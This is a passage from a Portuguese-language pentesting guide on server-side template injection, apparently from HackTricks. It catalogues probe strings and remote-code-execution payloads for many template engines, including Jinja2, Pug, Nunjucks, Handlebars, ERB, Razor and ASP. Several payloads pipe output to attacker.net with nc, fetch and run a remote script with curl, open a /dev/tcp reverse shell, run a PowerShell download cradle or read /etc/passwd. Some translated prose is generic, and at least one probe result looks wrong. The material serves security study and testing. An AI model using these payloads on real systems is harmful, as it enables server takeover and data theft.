nativo em vez de um mecanismo de template compilado. controlador: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` modelo de página: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` modelo de layout: ```html <?=$this->e($title)?> section('content')?> ``` #### PHPlib e HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) é o mesmo que PHPlib, mas portado para Pear. `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` ## Injeção de Template do Lado do Servidor (SSTI) ### Descrição Este diretório contém um exemplo de aplicação web vulnerável a ataques de Injeção de Template do Lado do Servidor (SSTI). A vulnerabilidade ocorre quando um aplicativo web permite que o usuário insira código de template que é executado no servidor. O arquivo `authors.php` é um exemplo de página que exibe informações sobre autores de livros. Ele usa um mecanismo de template para renderizar os dados na página. No entanto, o aplicativo não valida ou filtra adequadamente as entradas do usuário, o que permite a injeção de código de template malicioso. ### Exploração Para explorar essa vulnerabilidade, você pode inserir código de template malicioso na entrada do parâmetro `author` na URL. O código de template será executado no servidor e poderá ser usado para executar comandos arbitrários, ler arquivos sensíveis ou realizar outras ações indesejadas. Por exemplo, você pode tentar inserir o seguinte código de template na URL: ``` http://localhost/authors.php?author={{7*7}} ``` Isso resultará na exibição do resultado da expressão `7*7` na página. ### Mitigação Para mitigar essa vulnerabilidade, é importante validar e filtrar adequadamente as entradas do usuário antes de usá-las em um mecanismo de template. Isso pode ser feito usando bibliotecas ou frameworks que possuem recursos de segurança embutidos para evitar a execução de código malicioso. Além disso, é recomendável manter todos os componentes do aplicativo web atualizados com as versões mais recentes, pois as atualizações frequentemente corrigem vulnerabilidades conhecidas. ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` #### Jade (NodeJS) O Jade é um mecanismo de modelo de servidor-side para NodeJS que permite a injeção de código no lado do servidor. Ele é usado para gerar HTML dinamicamente com base em modelos. No entanto, a injeção de modelo no lado do servidor pode levar a vulnerabilidades de injeção de código, como a injeção de modelo no lado do servidor (SSTI). A injeção de modelo no lado do servidor ocorre quando um invasor consegue inserir código malicioso em um modelo que é posteriormente processado pelo servidor. Isso pode permitir que o invasor execute código arbitrário no servidor, o que pode levar a uma série de problemas de segurança, como vazamento de informações confidenciais, execução remota de código e comprometimento do servidor. Para explorar uma vulnerabilidade de SSTI no Jade, um invasor precisa encontrar um ponto de injeção no modelo e inserir código malicioso. Isso pode ser feito através da manipulação de entradas do usuário ou da exploração de falhas de validação de entrada no código do aplicativo. Para mitigar o risco de SSTI no Jade, é importante seguir as práticas recomendadas de segurança, como: * Validar e sanitizar todas as entradas do usuário antes de processá-las no modelo. * Evitar a execução de código arbitrário no servidor a partir do modelo. * Limitar as permissões do servidor para minimizar o impacto de uma possível exploração de SSTI. Ao realizar testes de penetração em um aplicativo que usa o Jade como mecanismo de modelo, é importante verificar se existem pontos de injeção de modelo no lado do servidor e tentar explorar essas vulnerabilidades para identificar possíveis riscos de segurança. ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **Mais informações** * Na seção Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) #### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de modelagem PHP não compilado, que usa tags XML para dividir um documento em diferentes partes. ```xml This is the main page. It contains another template. Hello {NAME}.
``` #### Handlebars (NodeJS) Travessia de Caminho (mais informações [aqui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` * \= Erro * ${7\*7} = ${7\*7} * Nada ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **Mais informações** * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) #### JsRender (NodeJS) | **Modelo** | **Descrição** | | ---------- | --------------------------------------------- | | | Avaliar e renderizar saída | | | Avaliar e renderizar saída codificada em HTML | | | Comentário | | e | Permitir código (desativado por padrão) | * \= 49 **Lado do Cliente** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **Lado do Servidor** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **Mais informações** * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) #### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **Exemplo de renderização do lado do servidor** ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` **Mais informações** * [https://licenciaparahackear.github.io/pt/posts/burlando-um-sandbox-js-restritivo/](https://licenciaparahackear.github.io/pt/posts/burlando-um-sandbox-js-restritivo/) #### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49 * \{{foo\}} = Sem saída * \#{7\*7} = #{7\*7} * \{{console.log(1)\}} = Erro ```javascript {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` **Mais informações** * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) #### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` * `<%= foobar %> = Erro` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) #### Slim (Ruby) * `{ 7 * 7 }` ``` { %x|env| } ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) #### Python Confira a seguinte página para aprender truques sobre **execução de comandos arbitrários contornando ambientes restritos** em python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} #### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{foobar}} = Error` * `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **Mais informações** #### Jinja2 (Python) [Website oficial](http://jinja.pocoo.org) > Jinja2 é um mecanismo de template completo para Python. Possui suporte completo a unicode, um ambiente de execução integrado opcionalmente isolado, amplamente utilizado e licenciado sob a BSD. * `{{7*7}} = Erro` * `${7*7} = ${7*7}` * `{{foobar}} Nada` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` * `{{config.items()}}` * `{{settings.SECRET_KEY}}` * `{{settings}}` * `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Formato de Template** Jinja2 é um mecanismo de template popular para Python. Ele permite a criação de templates dinâmicos, onde é possível inserir variáveis, estruturas de controle e expressões dentro do código HTML. Os templates Jinja2 são salvos com a extensão `.html` e podem ser renderizados pelo servidor web. **Injeção de Template do Lado do Servidor (SSTI)** A Injeção de Template do Lado do Servidor (SSTI) é uma vulnerabilidade que ocorre quando um aplicativo web permite que o usuário insira código malicioso em um template. Isso pode levar à execução de código arbitrário no servidor, permitindo que um invasor comprometa o sistema. **Explorando a Injeção de Template do Lado do Servidor** Para explorar a SSTI, é necessário identificar onde o código injetado é processado e renderizado pelo servidor. Em muitos casos, os aplicativos web usam o mecanismo de template Jinja2 para renderizar os templates. Portanto, é importante entender a sintaxe e as funcionalidades do Jinja2 para explorar essa vulnerabilidade. **Sintaxe do Jinja2** O Jinja2 usa uma sintaxe semelhante ao Python para inserir variáveis e expressões nos templates. As variáveis são colocadas entre chaves duplas `{{ }}`, enquanto as estruturas de controle são colocadas entre chaves percentuais `{% %}`. Além disso, é possível usar filtros para modificar os valores das variáveis. **Exemplo de Template Jinja2** Aqui está um exemplo de um template Jinja2 básico: ```html Exemplo de Template Jinja2

Bem-vindo(a), {{ nome }}!

Seu saldo atual é de R$ {{ saldo | floatformat(2) }}.

``` Neste exemplo, o template exibe uma mensagem de boas-vindas com o nome do usuário e o saldo atual formatado com duas casas decimais. **Prevenção da Injeção de Template do Lado do Servidor** Para prevenir a SSTI, é importante validar e sanitizar todas as entradas do usuário antes de processá-las nos templates. Além disso, é recomendado desabilitar recursos perigosos do Jinja2, como a execução de código Python. **Conclusão** A Injeção de Template do Lado do Servidor é uma vulnerabilidade séria que pode permitir a execução de código arbitrário no servidor. Ao entender a sintaxe e as funcionalidades do Jinja2, é possível explorar essa vulnerabilidade e tomar medidas para preveni-la. ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**RCE não dependente de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Mais detalhes sobre como abusar do Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} #### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` #### Razor (.Net) * `@(2+2) <= Sucesso` * `@() <= Sucesso` * `@("{{code}}") <= Sucesso` * `@ <= Sucesso` * `@{} <= ERRO!` * `@{ <= ERRO!` * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3cAcwBcAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Mais informações** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) #### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Nada * `<%= response.write(date()) %>` = \ ```bash <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Mais Informações** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) #### Mojolicious (Perl) Mesmo sendo perl, ele usa tags como ERB em Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Erro` ``` <%= perl code %> <% perl code %> ``` #### SSTI em GO Para confirmar que o mecanismo de template usado no backend é Go, você pode usar esses payloads: * `{{ . }}` = estrutura de dados sendo passada como entrada para o template * Se os dados passados forem um objeto que contém o atributo Password, por exemplo, o payload anterior vazaria isso, mas você também poderia fazer: `{{ .Password }}` * `{{printf "%s" "ssti" }}` = deve exibir a string ssti na resposta * `{{html "ssti"}}`, `{{js "ssti"}}` = Esses são alguns outros payloads que devem exibir a string "ssti" sem as palavras "js" ou "html" no final. Você pode consultar mais palavras-chave no mecanismo [aqui](https://golang.org/pkg/text/template). **Exploração de XSS** Se o servidor estiver **usando o pacote text/template**, é muito fácil alcançar o XSS **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não é o caso com html/template**, pois ele codifica a resposta em HTML: `{{""}}` --> `<script>alert(1)</script>` No entanto, o Go permite **DEFINIR** um **template** completo e depois **chamá-lo posteriormente**. O payload será algo como:\ `{{define "T1"}}{{end}} {{template "T1"}}` **Exploração de RCE** A documentação para o módulo html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas são diferentes, muito diferentes. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor "call"**, no entanto, esse não é o caso com html/template. Se você deseja encontrar um RCE em Go via SSTI, saiba que, assim como você pode acessar o objeto fornecido ao template com `{{ . }}`, você também pode **chamar os métodos do objeto**. Portanto, imagine que o **objeto passado tenha um método chamado System** que executa o comando fornecido, você pode abusar dele com: `{{ .System "ls" }}`\ Portanto, provavelmente você **precisará do código-fonte**. Um código-fonte potencial para algo assim seria: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Mais informações** * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) #### Mais Exploits Verifique o restante em [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para mais exploits. Você também pode encontrar informações interessantes sobre tags em [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ### BlackHat PDF {% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} ### Ajuda Relacionada Se você acha que pode ser útil, leia: * [Dicas do Flask](../../network-services-pentesting/pentesting-web/flask.md) * [Funções mágicas do Python](broken-reference/) ### Ferramentas {% embed url="https://github.com/epinna/tplmap" %} ### Lista de Detecção de Força Bruta {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ### Prática e Referências * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
​​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).